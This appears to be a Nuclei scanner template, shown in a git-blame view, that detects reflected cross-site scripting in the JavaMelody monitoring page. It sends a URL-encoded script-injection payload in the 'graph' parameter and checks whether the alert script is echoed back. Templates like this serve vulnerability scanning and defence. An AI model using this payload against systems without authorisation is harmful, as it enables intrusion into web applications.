2022-01-24 07:45:23 +00:00
|
|
|
id: java-melody-xss
|
2022-01-21 17:19:43 +00:00
|
|
|
|
|
|
|
info:
|
2022-05-13 17:22:26 +00:00
|
|
|
name: JavaMelody Monitoring - Cross-Site Scripting
|
2022-01-21 17:19:43 +00:00
|
|
|
author: kailashbohara
|
|
|
|
severity: medium
|
|
|
|
description: Reflected cross site scripting (XSS) in JavaMelody monitoring.
|
|
|
|
reference:
|
|
|
|
- https://github.com/Hurdano/JavaMelody-XSS
|
2022-01-24 07:45:23 +00:00
|
|
|
- https://github.com/javamelody/javamelody/pull/555
|
2022-01-21 17:19:43 +00:00
|
|
|
tags: xss,javamelody
|
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: GET
|
|
|
|
path:
|
2022-01-24 07:45:23 +00:00
|
|
|
- '{{BaseURL}}/monitoring?part=graph&graph=usedMemory%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
|
2022-01-21 17:19:43 +00:00
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
words:
|
2022-01-24 07:45:23 +00:00
|
|
|
- '</script><script>alert(document.domain)</script>'
|
|
|
|
|
2022-01-21 17:19:43 +00:00
|
|
|
- type: word
|
2022-01-24 07:45:23 +00:00
|
|
|
part: header
|
2022-01-21 17:19:43 +00:00
|
|
|
words:
|
2022-01-24 07:45:23 +00:00
|
|
|
- text/html
|
|
|
|
|
2022-01-21 17:19:43 +00:00
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|